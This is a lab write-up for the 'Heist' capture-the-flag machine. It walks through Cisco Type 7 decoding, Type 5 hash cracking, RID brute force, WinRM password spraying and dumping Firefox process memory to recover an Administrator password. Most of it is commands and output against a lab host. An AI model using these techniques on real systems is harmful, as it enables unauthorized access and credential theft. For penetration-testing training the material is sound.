Cisco Config in a Ticket.
Crack It. Spray It.
Dump the Browser.

The Machine

Heist is a Windows machine that does not rely on Active Directory attack paths for privilege escalation. There is no domain controller to DCSync, no BloodHound edges to follow, no Kerberos hashes to roast. The machine teaches two things that appear repeatedly in real engagements: recovering credentials from exposed configuration files, and extracting plaintext secrets from running process memory.

The foothold comes from a support portal on port 80 with guest access. A ticket attachment contains a Cisco router configuration with password hashes. Two are Cisco Type 7, which is not encryption but a reversible XOR encoding. The third is Cisco Type 5, an MD5crypt hash cracked with hashcat mode 500 in under three minutes. The recovered passwords are sprayed against a user list built via RID brute force. One combination grants WinRM access.

Privilege escalation requires no exploit and no group abuse. Firefox is running on the machine as a higher-privileged user. A full process memory dump searched with Select-String surfaces a URL-encoded login request containing the Administrator password in plaintext.

Enumeration

Two-phase nmap scan. Wide coverage first, then a targeted service scan on all open ports.

$ nmap -p- --min-rate 1000 -oN heist-all-ports.txt 10.129.20.127

$ ports=$(grep open heist-all-ports.txt | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//')
$ nmap -p $ports -sC -sV --min-rate 1000 -oN heist-service-scan.txt 10.129.20.127

nmap returns no domain name. Pull the hostname and domain directly from SMB:

$ netexec smb 10.129.20.127

SMB  10.129.20.127  445  SUPPORTDESK  name: SUPPORTDESK  domain: SupportDesk  signing: False

$ echo "10.129.20.127 supportdesk.htb SupportDesk" | sudo tee -a /etc/hosts

SMB signing is False. Note this. If a way to force NTLM authentication appears later, relay to SMB is possible without admin rights.

Web App: Support Portal

The login page offers guest access. Guest view shows open support tickets:

A ticket from hazard contains a Cisco router configuration as an attachment:

enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408

Foothold: Cisco Password Recovery

Decoding Type 7 Passwords

Cisco Type 7 encoding uses a fixed 53-character XOR key. The first two digits of the encoded string are the starting offset into the key. This makes it fully reversible with a Python one-liner:

$ python3 -c "
def cisco7(enc):
    xlat = 'dsfd;kfoA,.iyewrkldJKDHSUBsgvca69834ncxv9873254k;fg87'
    dec = ''
    enc = bytes.fromhex(enc)
    for i, b in enumerate(enc[1:]):
        dec += chr(b ^ ord(xlat[(int(enc[0]) + i) % 53]))
    return dec

print('rout3r:', cisco7('0242114B0E143F015F5D1E161713'))
print('admin:', cisco7('02375012182C1A1D751618034F36415408'))
"

rout3r : $uperP@ssword
admin  : Q4)sJu\Y8qz*A3?d

Cracking the Type 5 Hash

$ hashcat -m 500 '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' /usr/share/wordlists/rockyou.txt --force

$1$pdQG$o8nrSzsGXeaduXrjlvKc91 : stealth1agent

Three passwords recovered: stealth1agent, $uperP@ssword, Q4)sJu\Y8qz*A3?d.

User Enumeration via RID Brute Force

The ticket was submitted by hazard. Test hazard:stealth1agent on the web app. It logs in successfully, confirming hazard is a valid Windows account. Use it to enumerate all accounts via RID brute force:

$ netexec smb 10.129.20.127 -u hazard -p 'stealth1agent' --rid-brute

Credential Spray

Build a users list and a passwords list, then spray all combinations over WinRM:

$ netexec winrm 10.129.20.127 -u users.txt -p passwords.txt

WINRM  10.129.20.127  5985  SUPPORTDESK  Chase:Q4)sJu\Y8qz*A3?d  (Pwn3d!)

WinRM Shell as Chase

$ evil-winrm -i 10.129.20.127 -u Chase -p 'Q4)sJu\Y8qz*A3?d'

Privilege Escalation

Group Membership and Process Enumeration

*Evil-WinRM* PS> whoami /groups

Chase has no interesting group memberships. No Server Operators, no backup rights, no AD attack paths. Check running processes:

*Evil-WinRM* PS> Get-Process

Multiple Firefox processes are running. The largest has a working set of 142MB, indicating an active session. Firefox running as a higher-privileged user with an active session is a signal: credentials from that session may be in process memory.

Firefox Process Memory Dump

Download procdump from Sysinternals and upload to the target via evil-winrm:

*Evil-WinRM* PS> upload procdump.exe
*Evil-WinRM* PS> .\procdump.exe -ma 6492 -accepteula

Search the dump for the string password:

*Evil-WinRM* PS> Select-String -Path *.dmp -Pattern "password" -Encoding ascii

localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ

Administrator Shell

$ netexec winrm 10.129.20.127 -u administrator -p '4dD!5}x/re8]FBuZ'

$ evil-winrm -i 10.129.20.127 -u administrator -p '4dD!5}x/re8]FBuZ'

*Evil-WinRM* PS> type C:\Users\Administrator\Desktop\root.txt

Attack Chain

Vulnerabilities Found

Lessons Learned

• When nmap returns no domain name, run netexec smb <IP> immediately. It returns the machine name, domain, OS version, and SMB signing status in one command. This is faster and more reliable than guessing from nmap output.
• Cisco Type 7 passwords are encoded, not encrypted. The XOR cipher uses a fixed 53-character key that has been public for decades. Any Cisco config containing Type 7 password entries is compromised the moment it is exposed. Decode them with a Python one-liner. No cracking required.
• Cisco Type 5 passwords are MD5crypt hashes. The $1$ prefix identifies them. Hashcat mode 500 handles them. They are significantly weaker than modern bcrypt or Argon2 and frequently crack within rockyou.
• RID brute forcing enumerates every account with only low-privilege SMB access. netexec smb --rid-brute cycles through RID numbers and returns every account name. No admin rights needed. This is the fastest way to build a user list on a Windows target without LDAP.
• Spray all recovered passwords against all discovered users over WinRM. After every credential recovery, build a users.txt and a passwords.txt and let netexec cover the full matrix. One command replaces manual testing of each combination.
• Running processes are an enumeration target. When whoami /groups shows no privilege and BloodHound has no paths, check Get-Process. A browser running as a privileged user with a large working set signals an active session. That memory may contain credentials.
• Firefox stores recent form POST data in process memory as URL-encoded strings. procdump with -ma captures the full memory space. Select-String -Pattern "password" -Encoding ascii finds login submissions. The login URL with credentials appended is stored verbatim and readable in plaintext.
• Always spray credentials from the memory dump against Administrator first. The account found in Firefox memory was the Administrator account itself. Credential reuse is common. Testing directly against Administrator with netexec before anything else saves time.